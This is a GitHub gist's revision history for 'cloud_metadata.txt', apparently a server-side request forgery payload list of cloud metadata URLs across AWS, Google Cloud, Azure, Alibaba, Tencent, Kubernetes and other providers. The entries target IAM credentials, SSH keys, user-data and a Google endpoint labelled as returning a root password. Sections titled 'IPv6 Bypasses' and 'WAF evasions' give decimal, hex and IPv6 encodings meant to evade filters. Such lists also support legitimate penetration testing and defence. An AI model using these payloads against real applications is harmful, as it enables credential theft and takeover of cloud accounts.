Skip to content

Instantly share code, notes, and snippets.

@devzero2000
Forked from mosesrenegade/cloud_metadata.txt
Created May 13, 2022 17:06
Show Gist options
  • Save devzero2000/42459891112ece8e10e485c867b3352d to your computer and use it in GitHub Desktop.
Save devzero2000/42459891112ece8e10e485c867b3352d to your computer and use it in GitHub Desktop.

Revisions

  1. @spartantri spartantri revised this gist Nov 3, 2021. 1 changed file with 11 additions and 1 deletion.
    12 changes: 11 additions & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -37,6 +37,8 @@ http://metadata/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/hostname
    http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id
    http://metadata/computeMetadata/v1beta2/instance/attributes/dataproc-role?alt=json
    http://metadata/computeMetadata/v1beta2/project/attributes/ssh-keys?alt=json
    # kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)
    http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
    # Google allows recursive pulls
    @@ -68,6 +70,12 @@ http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/pu
    # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
    http://169.254.169.254/opc/v1/instance/

    # Tencent Cloud
    https://intl.cloud.tencent.com/document/product/213/4934
    http://100.88.222.5
    http://metadata.tencentyun.com/
    http://metadata.tencentyun.com/latest/meta-data/

    # Updated from jhaddix fork ===
    ## Alibaba
    # https://www.alibabacloud.com/help/faq-detail/49122.htm
    @@ -78,7 +86,9 @@ http://100.100.100.200/latest/meta-data/image-id

    ## OpenStack/RackSpace
    # https://docs.openstack.org/nova/latest/user/metadata-service.html
    http://169.254.169.254/openstack
    http://169.254.169.254/openstack
    http://169.254.169.254/openstack/2012-08-10/meta_data.json
    http://169.254.169.254/openstack/2018-08-27/network_data.json

    ## Oracle Cloud
    # https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
  2. @spartantri spartantri revised this gist Nov 3, 2021. 1 changed file with 9 additions and 0 deletions.
    9 changes: 9 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,7 @@
    ## IPv6 Tests
    http://[::ffff:169.254.169.254]
    http://[0:0:0:0:0:ffff:169.254.169.254]
    http://[fd00:ec2::254]

    ## AWS
    # Amazon Web Services (No Header Required)
    @@ -18,6 +19,14 @@ http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
    # ECS Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
    http://169.254.170.2/v2/credentials/

    # WAF evasions / alternative notations
    You can also use other notations to reach AWS or other CSPs meta-data service like
    http://2852039166/latest/user-data
    http://169.254.43518/latest/user-data
    http://169.16689662/latest/user-data
    http://0xa9fea9fe/latest/user-data
    http://fd00:ec2::254/latest/user-data

    ## Google Cloud (Header Sometimes Required)
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1
  3. @BuffaloWill BuffaloWill revised this gist Apr 25, 2019. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    ## IPv6 Tests
    http://[::ffff:169:254:169:254]
    http://[0:0:0:0:0:ffff:169:254:169:254]
    http://[::ffff:169.254.169.254]
    http://[0:0:0:0:0:ffff:169.254.169.254]

    ## AWS
    # Amazon Web Services (No Header Required)
  4. @BuffaloWill BuffaloWill revised this gist Apr 25, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ## IPv6 Bypasses
    ## IPv6 Tests
    http://[::ffff:169:254:169:254]
    http://[0:0:0:0:0:ffff:169:254:169:254]

  5. @BuffaloWill BuffaloWill revised this gist Apr 25, 2019. 1 changed file with 2 additions and 6 deletions.
    8 changes: 2 additions & 6 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,6 @@
    ## IPv6 Bypasses
    http://[::ffff:169.254.169.254]
    http://[::ffff:169.254.168.100]
    http://[0:0:0:0:0:ffff:169.254.169.254]
    http://[::ffff:a9fe:a9fe]
    http://[0:0:0:0:0:ffff:169.254.168.100]
    http://[::ffff:169.254.168.100]
    http://[::ffff:169:254:169:254]
    http://[0:0:0:0:0:ffff:169:254:169:254]

    ## AWS
    # Amazon Web Services (No Header Required)
  6. @BuffaloWill BuffaloWill revised this gist Apr 25, 2019. 1 changed file with 8 additions and 0 deletions.
    8 changes: 8 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,11 @@
    ## IPv6 Bypasses
    http://[::ffff:169.254.169.254]
    http://[::ffff:169.254.168.100]
    http://[0:0:0:0:0:ffff:169.254.169.254]
    http://[::ffff:a9fe:a9fe]
    http://[0:0:0:0:0:ffff:169.254.168.100]
    http://[::ffff:169.254.168.100]

    ## AWS
    # Amazon Web Services (No Header Required)
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
  7. @BuffaloWill BuffaloWill revised this gist Apr 22, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -11,7 +11,7 @@ http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

    # EC2 Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
    # ECS Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
    http://169.254.170.2/v2/credentials/

    ## Google Cloud (Header Sometimes Required)
  8. @BuffaloWill BuffaloWill revised this gist Apr 22, 2019. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -10,7 +10,8 @@ http://169.254.169.254/latest/meta-data/reservation-id
    http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
    # EC2 Task

    # EC2 Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
    http://169.254.170.2/v2/credentials/

    ## Google Cloud (Header Sometimes Required)
  9. @BuffaloWill BuffaloWill revised this gist Apr 20, 2019. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -10,6 +10,8 @@ http://169.254.169.254/latest/meta-data/reservation-id
    http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
    # EC2 Task
    http://169.254.170.2/v2/credentials/

    ## Google Cloud (Header Sometimes Required)
    # https://cloud.google.com/compute/docs/metadata
  10. @BuffaloWill BuffaloWill revised this gist Dec 14, 2018. 1 changed file with 3 additions and 2 deletions.
    5 changes: 3 additions & 2 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -52,16 +52,17 @@ http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/pu
    # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
    http://169.254.169.254/opc/v1/instance/

    # Updated from jhaddix fork
    # Updated from jhaddix fork ===
    ## Alibaba
    # https://www.alibabacloud.com/help/faq-detail/49122.htm
    http://100.100.100.200/latest/meta-data/
    http://100.100.100.200/latest/meta-data/instance-id
    http://100.100.100.200/latest/meta-data/image-id
    # ===

    ## OpenStack/RackSpace
    # https://docs.openstack.org/nova/latest/user/metadata-service.html
    http://169.254.169.254/openstack http://169.254.169.254/openstack
    http://169.254.169.254/openstack

    ## Oracle Cloud
    # https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
  11. @BuffaloWill BuffaloWill revised this gist Dec 14, 2018. 1 changed file with 8 additions and 1 deletion.
    9 changes: 8 additions & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -68,4 +68,11 @@ http://169.254.169.254/openstack http://169.254.169.254/openstack
    http://192.0.0.192/latest/
    http://192.0.0.192/latest/user-data/
    http://192.0.0.192/latest/meta-data/
    http://192.0.0.192/latest/attributes/
    http://192.0.0.192/latest/attributes/

    ## Kubernetes
    # Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)
    https://kubernetes.default.svc.cluster.local
    https://kubernetes.default
    # https://twitter.com/Random_Robbie/status/1072242182306832384
    https://kubernetes.default.svc/metrics
  12. @BuffaloWill BuffaloWill revised this gist Aug 17, 2018. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,7 @@
    ## AWS
    # Amazon Web Services (No Header Required)
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
    http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
    http://169.254.169.254/latest/user-data
    http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
  13. @BuffaloWill BuffaloWill revised this gist Jun 4, 2018. 1 changed file with 17 additions and 0 deletions.
    17 changes: 17 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -51,3 +51,20 @@ http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/pu
    # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
    http://169.254.169.254/opc/v1/instance/

    # Updated from jhaddix fork
    ## Alibaba
    # https://www.alibabacloud.com/help/faq-detail/49122.htm
    http://100.100.100.200/latest/meta-data/
    http://100.100.100.200/latest/meta-data/instance-id
    http://100.100.100.200/latest/meta-data/image-id

    ## OpenStack/RackSpace
    # https://docs.openstack.org/nova/latest/user/metadata-service.html
    http://169.254.169.254/openstack http://169.254.169.254/openstack

    ## Oracle Cloud
    # https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
    http://192.0.0.192/latest/
    http://192.0.0.192/latest/user-data/
    http://192.0.0.192/latest/meta-data/
    http://192.0.0.192/latest/attributes/
  14. @BuffaloWill BuffaloWill revised this gist May 30, 2018. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -24,6 +24,8 @@ http://metadata.google.internal/computeMetadata/v1/project/project-id
    http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
    # Google allows recursive pulls
    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
    # returns root password for Google
    http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

    ## Digital Ocean (No Header Required)
    # https://developers.digitalocean.com/documentation/metadata/
  15. @BuffaloWill BuffaloWill revised this gist May 25, 2018. 1 changed file with 5 additions and 2 deletions.
    7 changes: 5 additions & 2 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -10,15 +10,18 @@ http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

    ## Google Cloud (Header Required)
    ## Google Cloud (Header Sometimes Required)
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1
    # - Most endpoints can be accessed via the v1beta API without a header
    http://169.254.169.254/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/
    http://metadata/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/hostname
    http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id
    # kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)
    http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
    # Google allows recursive pulls
    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

  16. @BuffaloWill BuffaloWill revised this gist Apr 23, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -22,7 +22,7 @@ http://metadata.google.internal/computeMetadata/v1/project/project-id
    # Google allows recursive pulls
    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

    ## Digital Ocean
    ## Digital Ocean (No Header Required)
    # https://developers.digitalocean.com/documentation/metadata/
    http://169.254.169.254/metadata/v1.json
    http://169.254.169.254/metadata/v1/
  17. @BuffaloWill BuffaloWill revised this gist Apr 23, 2018. 1 changed file with 0 additions and 7 deletions.
    7 changes: 0 additions & 7 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,6 @@
    ## AWS
    # Amazon Web Services (No Header Required)
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

    http://169.254.169.254/latest/user-data
    http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
    @@ -14,20 +13,17 @@ http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
    ## Google Cloud (Header Required)
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

    http://169.254.169.254/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/
    http://metadata/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/hostname
    http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id

    # Google allows recursive pulls
    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

    ## Digital Ocean
    # https://developers.digitalocean.com/documentation/metadata/

    http://169.254.169.254/metadata/v1.json
    http://169.254.169.254/metadata/v1/
    http://169.254.169.254/metadata/v1/id
    @@ -37,19 +33,16 @@ http://169.254.169.254/metadata/v1/region
    http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

    ## Packetcloud

    https://metadata.packet.net/userdata

    # Azure (Header Required)
    # Header: "Metadata: true"
    # https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
    # (Old: ) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

    http://169.254.169.254/metadata/instance?api-version=2017-04-02
    http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

    # Oracle Cloud (No Header Required)
    # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm

    http://169.254.169.254/opc/v1/instance/

  18. @BuffaloWill BuffaloWill revised this gist Apr 23, 2018. 1 changed file with 13 additions and 14 deletions.
    27 changes: 13 additions & 14 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,5 @@
    ## AWS
    ## AWS
    # Amazon Web Services (No Header Required)
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

    http://169.254.169.254/latest/user-data
    @@ -10,13 +11,7 @@ http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

    # AWS - Dirs

    http://169.254.169.254/
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/public-keys/

    ## Google Cloud
    ## Google Cloud (Header Required)
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

    @@ -45,12 +40,16 @@ http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

    https://metadata.packet.net/userdata

    ## Azure
    # Limited, maybe more exist?
    # https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
    http://169.254.169.254/metadata/v1/maintenance

    ## Update Apr 2017, Azure has more support; requires the header "Metadata: true"
    # Azure (Header Required)
    # Header: "Metadata: true"
    # https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
    # (Old: ) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

    http://169.254.169.254/metadata/instance?api-version=2017-04-02
    http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

    # Oracle Cloud (No Header Required)
    # https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm

    http://169.254.169.254/opc/v1/instance/

  19. @BuffaloWill BuffaloWill revised this gist Nov 22, 2017. 1 changed file with 5 additions and 1 deletion.
    6 changes: 5 additions & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -48,5 +48,9 @@ https://metadata.packet.net/userdata
    ## Azure
    # Limited, maybe more exist?
    # https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

    http://169.254.169.254/metadata/v1/maintenance

    ## Update Apr 2017, Azure has more support; requires the header "Metadata: true"
    # https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
    http://169.254.169.254/metadata/instance?api-version=2017-04-02
    http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
  20. @BuffaloWill BuffaloWill revised this gist Jun 27, 2016. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -3,6 +3,7 @@

    http://169.254.169.254/latest/user-data
    http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/ami-id
    http://169.254.169.254/latest/meta-data/reservation-id
    http://169.254.169.254/latest/meta-data/hostname
  21. @BuffaloWill BuffaloWill revised this gist Mar 5, 2016. 1 changed file with 9 additions and 0 deletions.
    9 changes: 9 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -40,3 +40,12 @@ http://169.254.169.254/metadata/v1/hostname
    http://169.254.169.254/metadata/v1/region
    http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

    ## Packetcloud

    https://metadata.packet.net/userdata

    ## Azure
    # Limited, maybe more exist?
    # https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

    http://169.254.169.254/metadata/v1/maintenance
  22. @BuffaloWill BuffaloWill revised this gist Mar 5, 2016. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    ## AWS - File Responses
    ## AWS
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

    http://169.254.169.254/latest/user-data
    @@ -9,7 +9,7 @@ http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

    # AWS - Dir + Files Responses
    # AWS - Dirs

    http://169.254.169.254/
    http://169.254.169.254/latest/meta-data/
  23. @BuffaloWill BuffaloWill revised this gist Mar 5, 2016. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -17,7 +17,7 @@ http://169.254.169.254/latest/meta-data/public-keys/

    ## Google Cloud
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header `Metadata-Flavor: Google` or `X-Google-Metadata-Request: True`
    # - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

    http://169.254.169.254/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/
  24. @BuffaloWill BuffaloWill revised this gist Mar 5, 2016. 1 changed file with 11 additions and 4 deletions.
    15 changes: 11 additions & 4 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    # AWS - File Responses
    ## AWS - File Responses
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

    http://169.254.169.254/latest/user-data
    @@ -15,7 +15,7 @@ http://169.254.169.254/
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/public-keys/

    # Google Cloud
    ## Google Cloud
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header `Metadata-Flavor: Google` or `X-Google-Metadata-Request: True`

    @@ -27,9 +27,16 @@ http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id

    # Google allows recursive pulls

    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

    ## Digital Ocean
    # https://developers.digitalocean.com/documentation/metadata/


    http://169.254.169.254/metadata/v1.json
    http://169.254.169.254/metadata/v1/
    http://169.254.169.254/metadata/v1/id
    http://169.254.169.254/metadata/v1/user-data
    http://169.254.169.254/metadata/v1/hostname
    http://169.254.169.254/metadata/v1/region
    http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

  25. @BuffaloWill BuffaloWill created this gist Feb 28, 2016.
    35 changes: 35 additions & 0 deletions cloud_metadata.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    # AWS - File Responses
    # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

    http://169.254.169.254/latest/user-data
    http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
    http://169.254.169.254/latest/meta-data/ami-id
    http://169.254.169.254/latest/meta-data/reservation-id
    http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
    http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

    # AWS - Dir + Files Responses

    http://169.254.169.254/
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/public-keys/

    # Google Cloud
    # https://cloud.google.com/compute/docs/metadata
    # - Requires the header `Metadata-Flavor: Google` or `X-Google-Metadata-Request: True`

    http://169.254.169.254/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/
    http://metadata/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/hostname
    http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id

    # Google allows recursive pulls

    http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true